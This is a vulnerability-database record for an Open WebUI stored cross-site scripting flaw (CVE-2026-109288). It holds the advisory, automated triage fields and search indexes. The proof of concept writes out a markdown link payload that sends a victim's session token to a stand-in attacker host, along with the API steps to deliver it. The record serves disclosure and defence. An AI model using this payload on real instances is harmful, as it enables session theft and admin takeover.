{"id":"CVE-2026-109288","kind":"vulnerability","aliases":["CVE-2026-109288","GHSA-wf9m-46cp-c6h6"],"related":[],"title":"Viewer session token theft via javascript: URLs in chat message links","description":"# Viewer session token theft via javascript: URLs in chat message links\r\n\r\n## Summary\r\nAny authenticated user could place a markdown link with a `javascript:` URL in content that another user later views, such as a shared chat. The link was rendered as a clickable anchor with the URL unchanged, because the markdown renderer never checked the link's scheme. When the victim clicked it in an affected browser, the script ran inside Open WebUI in the victim's session and could read their session token.\r\n\r\n## Preconditions\r\n- The attacker has any regular account with the chat sharing permission (`chat.share`, on by default).\r\n- The victim can open the attacker's shared chat: they were granted access to the share, or they are an admin (admins can open any shared chat by default, `ENABLE_ADMIN_CHAT_ACCESS=true`). Channel messages render through the same component when channels are enabled (`ENABLE_CHANNELS`, off by default).\r\n- The victim clicks the link. A plain click triggers it in Safari and every other WebKit browser (which includes every browser on iOS). In Firefox it takes a middle click or a Ctrl/Shift click. Chromium-based browsers do not run it.\r\n- No Content-Security-Policy header is set, which is the default.\r\n\r\n## Impact\r\nThe attacker's script runs in the Open WebUI origin as the victim. It reads the victim's JWT from local storage and sends it to the attacker, who can then use the API with the victim's full permissions. If the victim is an admin, that means the whole instance. The attacker needs the victim to open the shared chat and click the link in an affected browser (see Preconditions). Victims on Chromium-based browsers are not affected, and neither is any deployment that sets a CSP forbidding inline script.\r\n\r\n## Fix\r\nFixed in [#29890](https://github.com/open-webui/open-webui/pull/29890). Before a markdown link is rendered, its URL is now checked, and only http, https, mailto, tel and relative URLs are kept. A link with any other scheme is shown as plain text. Upgrading is enough.\r\n\r\n## Root cause\r\n- Component: the chat markdown link renderer (`src/lib/components/chat/Messages/Markdown/MarkdownInlineTokens.svelte`), and in older releases the `marked.parse` rendering in the response message view.\r\n- Affected setup: every release before 0.11.4.\r\n\r\nLink URLs from the markdown lexer went straight into the anchor's `href`. `marked` does not filter URL schemes, and link tokens skipped DOMPurify (only raw HTML tokens were sanitised), so nothing along the way rejected `javascript:` URLs.\r\n\r\n## Proof of concept\r\nReproduced against the official v0.11.3 image with the default configuration, and checked against v0.11.4.\r\n1. As the admin, create two regular users, attacker and victim.\r\n2. As the attacker, create a chat (`POST /api/v1/chats/new`) whose assistant message contains:\r\n   `[Free GPU credits](jAvascript:fetch('https://attacker.example/leak?t='+localStorage.token))`\r\n3. Share it (`POST /api/v1/chats/{id}/share`) and give the victim read access (`POST /api/v1/chats/shared/{id}/access/update`).\r\n4. As the victim, open `/s/{share_id}` in WebKit and click \"Free GPU credits\". The listener receives the victim's JWT, sent from the Open WebUI origin. The same happens in Firefox with a middle click or Ctrl+click.\r\n5. On v0.11.4 the link renders without an `href`, and clicking it does nothing.\r\n\r\n## Credits\r\n- @r20z19, reporter","summary":"Open WebUI rendered markdown links with javascript: URLs unchanged, so a user who shared a chat could plant a link that runs script in another user's session when clicked. The script can read the victim's JWT from local storage and act as them, including as an admin with full instance access.","severity":"high","cvss":7.2,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"open-webui","fixed":["0.11.4"],"affected":"< 0.11.4","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["ai-tooling","cwe-79","open-webui","python","self-hosted"],"not_affected_if":["chromium-only-users","csp-blocks-inline-script","version-0.11.4-or-later"],"how_to_check":"- Check the installed version: `pip show open-webui` or the image tag; affected if below `0.11.4`.\n- Admins with `chat.share` enabled for regular users, and `ENABLE_ADMIN_CHAT_ACCESS=true` (the default), widen who can deliver the payload.\n- Ask whether users open shared chats in Safari or other WebKit browsers (including iOS), where a plain click triggers it.","fix":"- Open WebUI `0.11.4` (fixed in PR #29890; upgrading is enough per the advisory).","status":"open","published_at":"2026-09-27T19:51:36+00:00","first_seen_at":"2026-11-09T22:53:27+00:00","triaged_at":"2026-11-09T23:00:52+00:00","updated_at":"2026-11-09T23:10:12+00:00","category":"ai-tooling","confidence":0.85,"triage":{"at":"2026-11-09T23:00:52Z","model":"claude-haiku-5-5","output":{"fix":"- Open WebUI `0.11.4` (fixed in PR #29890; upgrading is enough per the advisory).","reach":"internet","title":"Open WebUI: chat message links can steal viewers' session tokens","impact":"high","summary":"Open WebUI rendered markdown links with javascript: URLs unchanged, so a user who shared a chat could plant a link that runs script in another user's session when clicked. The script can read the victim's JWT from local storage and act as them, including as an admin with full instance access.","audience":"businesses","category":"ai-tooling","nicknames":[],"who_cares":["open-webui","self-hosted","python"],"confidence":0.85,"fix_status":"available","needs_auth":"yes","worst_case":"Victim's session token stolen; admin takeover of the whole instance.","analyst_note":"","how_to_check":"- Check the installed version: `pip show open-webui` or the image tag; affected if below `0.11.4`.\n- Admins with `chat.share` enabled for regular users, and `ENABLE_ADMIN_CHAT_ACCESS=true` (the default), widen who can deliver the payload.\n- Ask whether users open shared chats in Safari or other WebKit browsers (including iOS), where a plain click triggers it.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["version-0.11.4-or-later","chromium-only-users","csp-blocks-inline-script"],"who_is_affected":"Any self-hosted Open WebUI deployment below 0.11.4 where users can share chats or use channels. Exposure requires a victim to open an attacker's shared chat and click the link in an affected browser, and no Content-Security-Policy forbidding inline script. Deployments on 0.11.4 or later, or ones that set a CSP blocking inline script, are not affected.","user_interaction":"yes","product_ecosystem":"","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.000901,"input_tokens":5711,"output_tokens":660,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-109288':14A,22A '-2026':13A,21A '-79':30B '/access/update':561C '/api/v1/chats':549C '/api/v1/chats/new':532C '/api/v1/chats/shared':559C '/leak?t=''+localstorage.token))':544C '/open-webui/open-webui/pull/29890).':394C '/s':567C '/share':551C '0.11.4':457C '1':513C '2':524C '29890':391C '3':545C '4':562C '46cp':18A '5':602C 'access':90B,203C,223C,557C 'account':181C 'act':80B 'admin':86B,211C,212C,221C,341C,516C 'affect':156C,363C,375C,452C 'ai':27B 'ai-tool':26B 'along':490C 'anchor':134C,468C 'anoth':62B,118C 'api':329C 'assist':534C 'attack':177C,196C,297C,323C,348C,521C,527C 'attacker.example':543C 'attacker.example/leak?t=''+localstorage.token))':542C 'authent':104C 'base':277C,371C 'browser':157C,257C,261C,278C,364C,372C 'c6h6':19A 'caus':432C 'channel':225C,233C,237C 'chat':9A,53B,99C,126C,184C,199C,217C,222C,356C,435C,530C 'chat.share':187C 'check':144C,405C,510C 'chromium':276C,370C 'chromium-bas':275C,369C 'click':67B,152C,243C,248C,270C,274C,358C,573C,598C,601C,612C 'clickabl':133C 'compon':231C,433C 'concept':498C 'configur':508C 'contain':536C 'content':116C,285C 'content-security-polici':284C 'could':54B,106C,170C 'creat':517C,528C 'credit':539C,576C,616C 'csp':384C 'ctrl':600C 'ctrl/shift':273C 'cve':12A,20A 'cwe':29B 'default':190C,219C,240C,294C,507C 'deploy':380C 'dompurifi':481C 'enabl':220C,235C,236C 'enough':430C 'everi':254C,260C,454C 'fetch':541C 'filter':474C 'firefox':265C,594C 'fix':388C,389C 'forbid':385C 'free':537C,574C 'full':88B,334C 'ghsa':16A 'ghsa-wf9m-46cp-c6h6':15A 'github.com':393C 'github.com/open-webui/open-webui/pull/29890).':392C 'give':553C 'gpu':538C,575C 'grant':202C 'happen':592C 'header':288C 'host':37B 'href':470C,610C 'html':484C 'http':408C 'https':409C 'id':550C,560C,569C 'imag':504C 'impact':295C 'includ':83B,259C 'inlin':386C 'insid':161C 'instanc':89B,346C 'io':263C 'javascript':6A,44B,96C,113C,494C,540C 'jwt':75B,314C,583C 'kept':416C 'later':120C 'lexer':463C 'link':11A,42B,57B,101C,110C,128C,146C,245C,360C,398C,418C,437C,458C,478C,606C 'listen':578C 'local':77B,316C 'mailto':410C 'mark':471C 'markdown':41B,109C,141C,397C,436C,462C 'marked.parse':445C 'mean':343C 'messag':10A,100C,226C,450C,535C 'middl':269C,597C 'need':349C 'neither':377C 'never':143C 'noth':489C,615C 'offici':502C 'older':442C 'open':24A,32B,38B,162C,194C,214C,303C,353C,566C,587C 'open-webui':23A,31B 'origin':305C,589C 'permiss':186C,335C 'place':107C 'plain':247C,426C 'plant':55B 'polici':287C 'post':531C,548C,558C 'precondit':175C,366C 'proof':496C 'python':34B 'r20z19':617C 'ran':160C 'raw':483C 'read':71B,171C,310C,556C 'receiv':579C 'regular':180C,519C 'reject':493C 'relat':413C 'releas':443C,455C 'render':40B,130C,142C,227C,400C,438C,446C,607C 'report':618C 'reproduc':499C 'respons':449C 'root':431C 'run':59B,281C,300C 'safari':252C 'sanitis':487C 'scheme':148C,422C,476C 'script':60B,69B,159C,299C,387C 'secur':286C 'see':365C 'self':36B 'self-host':35B 'send':319C 'sent':584C 'session':2A,65B,92C,168C,173C 'set':290C,382C 'setup':453C 'share':51B,125C,185C,198C,206C,216C,355C,546C,568C 'shown':424C 'skip':480C 'src/lib/components/chat/messages/markdown/markdowninlinetokens.svelte':439C 'storag':78B,317C 'straight':465C 'summari':102C 'take':267C 'tel':411C 'text':427C 'theft':4A,94C 'token':3A,93C,174C,479C,485C 'tool':28B 'trigger':249C 'true':224C 'two':518C 'unchang':46B,138C 'upgrad':428C 'url':7A,45B,97C,114C,137C,402C,414C,459C,475C,495C 'use':327C 'user':49B,63B,105C,119C,520C 'v0.11.3':503C 'v0.11.4':512C,604C 'via':5A,95C 'victim':73B,151C,166C,192C,242C,308C,312C,332C,338C,351C,367C,523C,555C,565C,581C 'view':121C,451C 'viewer':1A,91C 'way':492C 'webkit':256C,571C 'webui':25A,33B,39B,163C,304C,588C 'went':464C 'wf9m':17A 'whole':345C 'whose':533C 'without':608C","nicknames":[],"mitigations":[],"who_affected":"Any self-hosted Open WebUI deployment below 0.11.4 where users can share chats or use channels. Exposure requires a victim to open an attacker's shared chat and click the link in an affected browser, and no Content-Security-Policy forbidding inline script. Deployments on 0.11.4 or later, or ones that set a CSP blocking inline script, are not affected.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["openwebui"],"ptokens":["open","webui"],"labels":["aitooling","cwe79","high","openwebui","pypi","python","selfhosted"],"campaign_type":null,"search_a":"'-109288':14A,22A '-2026':13A,21A '46cp':18A 'c6h6':19A 'chat':9A 'cve':12A,20A 'ghsa':16A 'ghsa-wf9m-46cp-c6h6':15A 'javascript':6A 'link':11A 'messag':10A 'open':24A 'open-webui':23A 'session':2A 'theft':4A 'token':3A 'url':7A 'via':5A 'viewer':1A 'webui':25A 'wf9m':17A","search_b":"'-79':30B 'access':90B 'act':80B 'admin':86B 'ai':27B 'ai-tool':26B 'anoth':62B 'chat':53B 'click':67B 'could':54B 'cwe':29B 'full':88B 'host':37B 'includ':83B 'instanc':89B 'javascript':44B 'jwt':75B 'link':42B,57B 'local':77B 'markdown':41B 'open':32B,38B 'open-webui':31B 'plant':55B 'python':34B 'read':71B 'render':40B 'run':59B 'script':60B,69B 'self':36B 'self-host':35B 'session':65B 'share':51B 'storag':78B 'tool':28B 'unchang':46B 'url':45B 'user':49B,63B 'victim':73B 'webui':33B,39B","search_c":"'/access/update':561C '/api/v1/chats':549C '/api/v1/chats/new':532C '/api/v1/chats/shared':559C '/leak?t=''+localstorage.token))':544C '/open-webui/open-webui/pull/29890).':394C '/s':567C '/share':551C '0.11.4':457C '1':513C '2':524C '29890':391C '3':545C '4':562C '5':602C 'access':203C,223C,557C 'account':181C 'admin':211C,212C,221C,341C,516C 'affect':156C,363C,375C,452C 'along':490C 'anchor':134C,468C 'anoth':118C 'api':329C 'assist':534C 'attack':177C,196C,297C,323C,348C,521C,527C 'attacker.example':543C 'attacker.example/leak?t=''+localstorage.token))':542C 'authent':104C 'base':277C,371C 'browser':157C,257C,261C,278C,364C,372C 'caus':432C 'channel':225C,233C,237C 'chat':99C,126C,184C,199C,217C,222C,356C,435C,530C 'chat.share':187C 'check':144C,405C,510C 'chromium':276C,370C 'chromium-bas':275C,369C 'click':152C,243C,248C,270C,274C,358C,573C,598C,601C,612C 'clickabl':133C 'compon':231C,433C 'concept':498C 'configur':508C 'contain':536C 'content':116C,285C 'content-security-polici':284C 'could':106C,170C 'creat':517C,528C 'credit':539C,576C,616C 'csp':384C 'ctrl':600C 'ctrl/shift':273C 'default':190C,219C,240C,294C,507C 'deploy':380C 'dompurifi':481C 'enabl':220C,235C,236C 'enough':430C 'everi':254C,260C,454C 'fetch':541C 'filter':474C 'firefox':265C,594C 'fix':388C,389C 'forbid':385C 'free':537C,574C 'full':334C 'github.com':393C 'github.com/open-webui/open-webui/pull/29890).':392C 'give':553C 'gpu':538C,575C 'grant':202C 'happen':592C 'header':288C 'href':470C,610C 'html':484C 'http':408C 'https':409C 'id':550C,560C,569C 'imag':504C 'impact':295C 'includ':259C 'inlin':386C 'insid':161C 'instanc':346C 'io':263C 'javascript':96C,113C,494C,540C 'jwt':314C,583C 'kept':416C 'later':120C 'lexer':463C 'link':101C,110C,128C,146C,245C,360C,398C,418C,437C,458C,478C,606C 'listen':578C 'local':316C 'mailto':410C 'mark':471C 'markdown':109C,141C,397C,436C,462C 'marked.parse':445C 'mean':343C 'messag':100C,226C,450C,535C 'middl':269C,597C 'need':349C 'neither':377C 'never':143C 'noth':489C,615C 'offici':502C 'older':442C 'open':162C,194C,214C,303C,353C,566C,587C 'origin':305C,589C 'permiss':186C,335C 'place':107C 'plain':247C,426C 'polici':287C 'post':531C,548C,558C 'precondit':175C,366C 'proof':496C 'r20z19':617C 'ran':160C 'raw':483C 'read':171C,310C,556C 'receiv':579C 'regular':180C,519C 'reject':493C 'relat':413C 'releas':443C,455C 'render':130C,142C,227C,400C,438C,446C,607C 'report':618C 'reproduc':499C 'respons':449C 'root':431C 'run':281C,300C 'safari':252C 'sanitis':487C 'scheme':148C,422C,476C 'script':159C,299C,387C 'secur':286C 'see':365C 'send':319C 'sent':584C 'session':92C,168C,173C 'set':290C,382C 'setup':453C 'share':125C,185C,198C,206C,216C,355C,546C,568C 'shown':424C 'skip':480C 'src/lib/components/chat/messages/markdown/markdowninlinetokens.svelte':439C 'storag':317C 'straight':465C 'summari':102C 'take':267C 'tel':411C 'text':427C 'theft':94C 'token':93C,174C,479C,485C 'trigger':249C 'true':224C 'two':518C 'unchang':138C 'upgrad':428C 'url':97C,114C,137C,402C,414C,459C,475C,495C 'use':327C 'user':105C,119C,520C 'v0.11.3':503C 'v0.11.4':512C,604C 'via':95C 'victim':151C,166C,192C,242C,308C,312C,332C,338C,351C,367C,523C,555C,565C,581C 'view':121C,451C 'viewer':91C 'way':492C 'webkit':256C,571C 'webui':163C,304C,588C 'went':464C 'whole':345C 'whose':533C 'without':608C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-09-27T19:51:36+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"disclosure@vulncheck.com","poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-wf9m-46cp-c6h6","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-wf9m-46cp-c6h6","severity":"medium","published_at":"2026-09-27T19:51:36+00:00","modified_at":"2026-10-28T20:46:57+00:00","first_seen_at":"2026-11-09T22:53:27+00:00","fetched_at":"2026-11-09T22:53:27+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-109288","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109288","severity":null,"published_at":"2026-10-12T17:17:21+00:00","modified_at":"2026-10-13T20:39:48+00:00","first_seen_at":"2026-11-09T23:10:12+00:00","fetched_at":"2026-11-09T23:10:12+00:00","note":null}],"documents":[{"id":110655,"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-wf9m-46cp-c6h6","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":"2026-09-27T19:51:36+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":111022,"url":"https://www.vulncheck.com/advisories/open-webui-before-0.11.4-stored-xss-via-javascript-urls-in-markdown-links","title":"Third-party advisory: www.vulncheck.com","kind":"advisory","source":"nvd","publisher":"research","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Third-party advisory: www.vulncheck.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}